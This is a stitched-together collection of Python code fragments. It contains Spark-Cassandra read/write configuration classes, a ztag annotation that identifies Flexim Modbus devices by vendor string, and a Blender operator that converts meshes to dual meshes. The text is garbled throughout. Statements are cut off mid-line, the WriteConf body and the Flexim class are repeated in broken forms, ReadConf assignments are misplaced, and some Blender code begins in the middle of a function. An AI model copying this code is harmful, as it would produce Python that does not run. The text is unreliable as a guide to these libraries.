            @param batch_grouping_key(string):
                The way batches are formed:
                * all: any row can be added to any batch
                * replicaset: rows are batched for replica sets
                * partition: rows are batched by their partition key
                * None: defaults to "partition"
            @param consistency_level(cassandra.ConsistencyLevel):
                The consistency level used in writing to Cassandra.
                If None defaults to LOCAL_ONE or spark.cassandra.output.consistency.level if set.
            @param parallelism_level(int):
                The maximum number of batches written in parallel.
                If None defaults to 8 or spark.cassandra.output.concurrent.writes if set.
            @param throughput_mibps(int):
            @param ttl(int or timedelta):
                The time to live as seconds or timedelta to use for the values.
                If None given no TTL is used.
            @param timestamp(int, date or datetime):
                The timestamp in microseconds, date or datetime to use for the values.
                If None given the Cassandra nodes determine the timestamp.
            @param metrics_enabled(bool):
                Whether to enable task metrics updates.
        '''
        self.b

        self.batch_buffer_size = batch_buffer_size
        self.batch_grouping_key = batch_grouping_key
        self.consistency_level = consistency_level
        self.parallelism_level = parallelism_level
        self.throughput_mibps = throughput_mibps

        # convert time delta in ttl in seconds
        if ttl and isinstance(ttl, timedelta):
            ttl = int(ttl.total_seconds())
        self.ttl = ttl

        # convert date or datetime objects to a timestamp in milliseconds since the UNIX epoch
        if timestamp and (isinstance(timestamp, datetime) or isinstance(timestamp, date)):
            timestamp = (timestamp - timestamp.__class__(1970, 1, 1)).total_seconds()
            timestamp = int(timestamp * 1000 * 1000)
        self.timestamp = timestamp

        self.metrics_enabled = metrics_enabled


        self.split_count = split_count
        self.split_size = split_size
        self.fetch_size = fetch_size
        self.consistency_level = consistency_level
        self.metrics_enabled = metrics_enabled

from datetime import timedelta, datetime, date

class _Conf(object):
    @classmethod
    def build(cls, conf=None, **kwargs):
        if conf and kwargs:
            settings = conf.settings()
            settings.update(kwargs)
            return cls(**settings)
        elif conf:
            return conf
        else:
            return cls(**kwargs)

    def settings(self):
        return {k:v for k, v in self.__dict__.items() if v is not None}

    def __str__(self):
        return '%s(%s)' % (
            self.__class__.__name__,
            ', '.join('%s=%s' % (k, v) for k, v in self.settings().items())
        )

class ReadConf(_Conf):
    def __init__(self, split_count=None, split_size=None, fetch_size=None, consistency_level=None,
                 metrics_enabled=None):
        '''
            TODO docstring
        '''

class WriteConf(_Conf):
    def __init__(self, batch_size=None, batch_buffer_size=None, batch_grouping_key=None,
                 consistency_level=None, parallelism_level=None, throughput_mibps=None, ttl=None,
                 timestamp=None, metrics_enabled=None):
        '''
            @param batch_size(int):
                The size in bytes to batch up in an unlogged batch of CQL inserts.
                If None given the default size of 16*1024 is used or
                spark.cassandra.output.batch.size.bytes if set.
            @param batch_buffer_size(int):
                The maximum number of batches which are 'pending'.
                If None given the default of 1000 is used.
            @param batch_grouping_key(string):
                The way batches are formed:
                * all: any row can be added to any batch
                * replicaset: rows are batched for replica sets
                * partition: rows are batched by their partition key
                * None: defaults to "partition"
            @param consistency_level(cassandra.ConsistencyLevel):
                The consistency level used in writing to Cassandra.
                If None defaults to LOCAL_ONE or spark.cassandra.output.consistency.level if set.
            @param parallelism_level(int):
                The maximum number of batches written in parallel.
                If None defaults to 8 or spark.cassandra.output.concurrent.writes if set.
            @param throughput_mibps(int):
            @param ttl(int or timedelta):
                The time to live as seconds or timedelta to use for the values.
                If None given no TTL is used.
            @param timestamp(int, date or datetime):
                The timestamp in microseconds, date or datetime to use for the values.
                If None given the Cassandra nodes determine the timestamp.
            @param metrics_enabled(bool):
                Whether to enable task metrics updates.
        '''
        self.batch_size = batch_size
        self.batch_buffer_size = batch_buffer_size
        self.batch_grouping_key = batch_grouping_key
        self.consistency_level = consistency_level
        self.parallelism_level = parallelism_level
        self.throughput_mibps = throughput_mibps

        # convert time delta in ttl in seconds
        if ttl and isinstance(ttl, timedelta):
            ttl = int(ttl.total_seconds())
        self.ttl = ttl

        # convert date or datetime objects to a timestamp in milliseconds since the UNIX epoch
        if timestamp and (isinstance(timestamp, datetime) or isinstance(timestamp, date)):
            timestamp = (timestamp - timestamp.__class__(1970, 1, 1)).total_seconds()
            timestamp = int(timestamp * 1000 * 1000)
        self.timestamp = timestamp

        self.metrics_enabled = metrics_enabled


from ztag.annotation import *

class FleximMEIDevice(Annotation):

    protocol = protocols.MODBUS
    subprotocol = protocols.MODBUS.DEVICE_ID
    port = None

    tests = {
        "flexim": {
            "global_metadata": {
                "manufacturer": Manufacturer.FLEXIM,
            }
        }
    }

vendor = obj["mei_response"]["objects"]["vendor"]
        if "flexim" in vendor.lower():
            meta.global_metadata.manufacturer = Manufacturer.FLEXIM
            return meta


vendor = obj["mei_response"]["objects"]["vendor"]
        if "flexim" in vendor.lower():
            meta.global_metadata.manufacturer = Manufacturer.FLEXIM
            return meta

from ztag.annotation import *

class FleximMEIDevice(Annotation):

    protocol = protocols.MODBUS
    subprotocol = protocols.MODBUS.DEVICE_ID
    port = None

    tests = {
        "flexim": {
            "global_metadata": {
                "manufacturer": Manufacturer.FLEXIM,
            }
        }
    }

    def process(self, obj, meta):


from ztag.annotation import *

class FleximMEIDevice(Annotation):

    protocol = protocols.MODBUS
    subprotocol = protocols.MODBUS.DEVICE_ID
    port = None

    tests = {
        "flexim": {
            "global_metadata": {
                "manufacturer": Manufacturer.FLEXIM,
            }
        }
    }

    def process(self, obj, meta):
        vendor = obj[

        if "flexim" in vendor.lower():
            meta.global_metadata.manufacturer = Manufacturer.FLEXIM
            return meta


#  This program is free software; you can redistribute it and/or
#  modify it under the terms of the GNU General Public License
#  as published by the Free Software Foundation; either version 2
#  of the License, or (at your option) any later version.
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#  You should have received a copy of the GNU General Public License
#  along with this program; if not, write to the Free Software Foundation,

# Convert a generic mesh to its dual. With open meshes it can get some wired   #
# effect on the borders.                                                       #

import bpy
from bpy.types import Operator
from bpy.props import (
        BoolProperty,
        EnumProperty,
        )
import bmesh
from .utils import *

class dual_mesh_tessellated(Operator):
    bl_idname = "object.dual_mesh_tessellated"
    bl_label = "Dual Mesh"
    bl_description = ("Generate a polygonal mesh using Tessellate. (Non-destructive)")
    bl_options = {'REGISTER', 'UNDO'}

    apply_modifiers : BoolProperty(
        name="Apply Modifiers",
        default=True,
        description="Apply object's modifiers"
        )

    source_faces : EnumProperty(
            items=[
                ('QUAD', 'Quad Faces', ''),
                ('TRI', 'Triangles', '')],
            name="Source Faces",
            description="Source polygons",
            default="QUAD",
            options={'LIBRARY_EDITABLE'}
            )

auto_layer_collection()
        ob0 = context.object
        name1 = "DualMesh_{}_Component".format(self.source_faces)
        # Generate component
        if self.source_faces == 'QUAD':
            verts = [(0.0, 0.0, 0.0), (0.0, 0.5, 0.0),
                    (0.0, 1.0, 0.0), (0.5, 1.0, 0.0),
                    (1.0, 1.0, 0.0), (1.0, 0.5, 0.0),
                    (1.0, 0.0, 0.0), (0.5, 0.0, 0.0),
                    (1/3, 1/3, 0.0), (2/3, 2/3, 0.0)]
            edges = [(0,1), (1,2), (2,3), (3,4), (4,5), (5,6), (6,7),
                        (7,0), (1,8), (8,7), (3,9), (9,5), (8,9)]
            faces = [(7,8,1,0), (8,9,3,2,1), (9,5,4,3), (9,8,7,6,5)]
        else:
            verts = [(0.0,0.0,0.0), (0.5,0.0,0.0), (1.0,0.0,0.0), (0.0,1.0,0.0), (0.5,1.0,0.0), (1.0,1.0,0.0)]
            edges = [(0,1), (1,2), (2,5), (5,4), (4,3), (3,0), (1,4)]
            faces = [(0,1,4,3), (1,2,5,4)]

        # check pre-existing component
        try:
            _verts = [0]*len(verts)*3
            __verts = [c for co in verts for c in co]
            ob1 = bpy.data.objects[name1]
            ob1.data.vertices.foreach_get("co",_verts)
            for a, b in zip(_verts, __verts):
                if abs(a-b) > 0.0001:
                    raise ValueError
        except:
            me = bpy.data.meshes.new("Dual-Mesh")  # add a new mesh
            me.from_pydata(verts, edges, faces)
            me.update(calc_edges=True, calc_edges_loose=True)
            if self.source_faces == 'QUAD': n_seams = 8
            else: n_seams = 6
            for i in range(n_seams): me.edges[i].use_seam = True
            ob1 = bpy.data.objects.new(name1, me)
            bpy.context.collection.objects.link(ob1)
            # fix visualization issue
            bpy.context.view_layer.objects.active = ob1
            ob1.select_set(True)
            bpy.ops.object.editmode_toggle()
            bpy.ops.object.editmode_toggle()
            ob1.select_set(False)
            # hide component
            ob1.hide_select = True
            ob1.hide_render = True
            ob1.hide_viewport = True
        ob = convert_object_to_mesh(ob0,False,False)
        ob.name = 'DualMesh'
        #bpy.context.view_layer.objects.active = ob
        ob.tissue_tessellate.component = ob1
        ob.tissue_tessellate.generator = ob0
        ob.tissue_tessellate.gen_modifiers = self.apply_modifiers
        ob.tissue_tessellate.merge = True
        ob.tissue_tessellate.bool_dissolve_seams = True
        if self.source_faces == 'TRI': ob.tissue_tessellate.fill_mode = 'FAN'
        bpy.ops.object.update_tessellate()
        ob.location = ob0.location
        ob.matrix_world = ob0.matrix_world
        return {'FINISHED'}

class dual_mesh(Operator):
    bl_idname = "object.dual_mesh"
    bl_label = "Convert to Dual Mesh"
    bl_description = ("Convert a generic mesh into a polygonal mesh. (Destructive)")
    bl_options = {'REGISTER', 'UNDO'}

    quad_method : EnumProperty(
            items=[('BEAUTY', 'Beauty',
                    'Split the quads in nice triangles, slower method'),
                    ('FIXED', 'Fixed',
                    'Split the quads on the 1st and 3rd vertices'),
                    ('FIXED_ALTERNATE', 'Fixed Alternate',
                    'Split the quads on the 2nd and 4th vertices'),
                    ('SHORTEST_DIAGONAL', 'Shortest Diagonal',
                    'Split the quads based on the distance between the vertices')
                    ],
            name="Quad Method",
            description="Method for splitting the quads into triangles",
            default="FIXED",
            options={'LIBRARY_EDITABLE'}
            )
    polygon_method : EnumProperty(
            items=[
                ('BEAUTY', 'Beauty', 'Arrange the new triangles evenly'),
                ('CLIP', 'Clip',
                 'Split the polygons with an ear clipping algorithm')],
            name="Polygon Method",
            description="Method for splitting the polygons into triangles",
            default="BEAUTY",
            options={'LIBRARY_EDITABLE'}
            )
    preserve_borders : BoolProperty(
            name="Preserve Borders",
            default=True,
            description="Preserve original borders"
            )
    apply_modifiers : BoolProperty(
            name="Apply Modifiers",
            default=True,
            description="Apply object's modifiers"
            )

    def execute(self, context):
        mode = context.mode
        if mode == 'EDIT_MESH':
            mode = 'EDIT'
        act = bpy.context.active_object
        if mode != 'OBJECT':
            sel = [act]
            bpy.ops.object.mode_set(mode='OBJECT')
        else:
            sel = bpy.context.selected_objects
        doneMeshes = []

        for ob0 in sel:
            if ob0.type != 'MESH':
                continue
            if ob0.data.name in doneMeshes:
                continue
            ob = ob0
            mesh_name = ob0.data.name

            # store linked objects
            clones = []
            n_users = ob0.data.users
            count = 0
            for o in bpy.data.objects:
                if o.type != 'MESH':
                    continue
                if o.data.name == mesh_name:
                    count += 1
                    clones.append(o)
                if count == n_users:
                    break

            if self.apply_modifiers:
                bpy.ops.object.convert(target='MESH')
            ob.data = ob.data.copy()
            bpy.ops.object.select_all(action='DESELECT')
            ob.select_set(True)
            bpy.context.view_layer.objects.active = ob0
            bpy.ops.object.mode_set(mode='EDIT')

            # prevent borders erosion
            bpy.ops.mesh.select_mode(
                    use_extend=False, use_expand=False, type='EDGE'
                    )
            bpy.ops.mesh.select_non_manifold(
                    extend=False, use_wire=False, use_boundary=True,
                    use_multi_face=False, use_non_contiguous=False,
                    use_verts=False
                    )
            bpy.ops.mesh.extrude_region_move(
                    MESH_OT_extrude_region={"mirror": False},
                    TRANSFORM_OT_translate={"value": (0, 0, 0)}
                    )

            bpy.ops.mesh.select_mode(
                    use_extend=False, use_expand=False, type='VERT',
                    action='TOGGLE'
                    )
            bpy.ops.mesh.select_all(action='SELECT')
            bpy.ops.mesh.quads_convert_to_tris(
                    quad_method=self.quad_method, ngon_method=self.polygon_method
                    )
            bpy.ops.mesh.select_all(action='DESELECT')
            bpy.ops.object.mode_set(mode='OBJECT')
            bpy.ops.object.modifier_add(type='SUBSURF')
            ob.modifiers[-1].name = "dual_mesh_subsurf"
            while True:
                bpy.ops.object.modifier_move_up(modifier="dual_mesh_subsurf")
                if ob.modifiers[0].name == "dual_mesh_subsurf":
                    break

            bpy.ops.object.modifier_apply(modifier='dual_mesh_subsurf')

            bpy.ops.object.mode_set(mode='EDIT')
            bpy.ops.mesh.select_all(action='DESELECT')

            verts = ob.data.vertices

            bpy.ops.object.mode_set(mode='OBJECT')
            verts[-1].select = True
            bpy.ops.object.mode_set(mode='EDIT')
            bpy.ops.mesh.select_more(use_face_step=False)

            bpy.ops.mesh.select_similar(
                type='EDGE', compare='EQUAL', threshold=0.01)
            bpy.ops.mesh.select_all(action='INVERT')

            bpy.ops.mesh.dissolve_verts()
            bpy.ops.mesh.select_all(action='DESELECT')

            bpy.ops.mesh.select_non_manifold(
                extend=False, use_wire=False, use_boundary=True,
                use_multi_face=False, use_non_contiguous=False, use_verts=False)
            bpy.ops.mesh.select_more()

            # find boundaries
            bpy.ops.object.mode_set(mode='OBJECT')
            bound_v = [v.index for v in ob.data.vertices if v.select]
            bound_e = [e.index for e in ob.data.edges if e.select]
            bound_p = [p.index for p in ob.data.polygons if p.select]
            bpy.ops.object.mode_set(mode='EDIT')

            # select quad faces
            bpy.context.tool_settings.mesh_select_mode = (False, False, True)
            bpy.ops.mesh.select_face_by_sides(number=4, extend=False)

            # deselect boundaries
            bpy.ops.object.mode_set(mode='OBJECT')
            for i in bound_v:
                bpy.context.active_object.data.vertices[i].select = False
            for i in bound_e:
                bpy.context.active_object.data.edges[i].select = False
            for i in bound_p:
                bpy.context.active_object.data.polygons[i].select = False

            bpy.ops.object.mode_set(mode='EDIT')

            bpy.context.tool_settings.mesh_select_mode = (False, False, True)
            bpy.ops.mesh.edge_face_add()
            bpy.context.tool_settings.mesh_select_mode = (True, False, False)
            bpy.ops.mesh.select_all(action='DESELECT')

            # delete boundaries
            bpy.ops.mesh.select_non_manifold(
                    extend=False, use_wire=True, use_boundary=True,
                    use_multi_face=False, use_non_contiguous=False, use_verts=True
                    )
            bpy.ops.mesh.delete(type='VERT')

            # remove middle vertices
            bm = bmesh.from_edit_mesh(ob.data)
            for v in bm.verts:
                if len(v.link_edges) == 2 and len(v.link_faces) < 3:
                    v.select = True

            # dissolve
            bpy.ops.mesh.dissolve_verts()
            bpy.ops.mesh.select_all(action='DESELECT')

            # remove border faces
            if not self.preserve_borders:
                bpy.ops.mesh.select_non_manifold(
                    extend=False, use_wire=False, use_boundary=True,
                    use_multi_face=False, use_non_contiguous=False, use_verts=False
                    )
                bpy.ops.mesh.select_more()
                bpy.ops.mesh.delete(type='FACE')

            # clean wires
            bpy.ops.mesh.select_non_manifold(
                    extend=False, use_wire=True, use_boundary=False,
                    use_multi_face=False, use_non_contiguous=False, use_verts=False
                    )
            bpy.ops.mesh.delete(type='EDGE')

            bpy.ops.object.mode_set(mode='OBJECT')
            ob0.data.name = mesh_name
            doneMeshes.append(mesh_name)

            for o in clones:
                o.data = ob.data

        for o in sel:
            o.select_set(True)

        bpy.context.view_layer.objects.active = act
        bpy.ops.object.mode_set(mode=mode)

        return {'FINISHED'}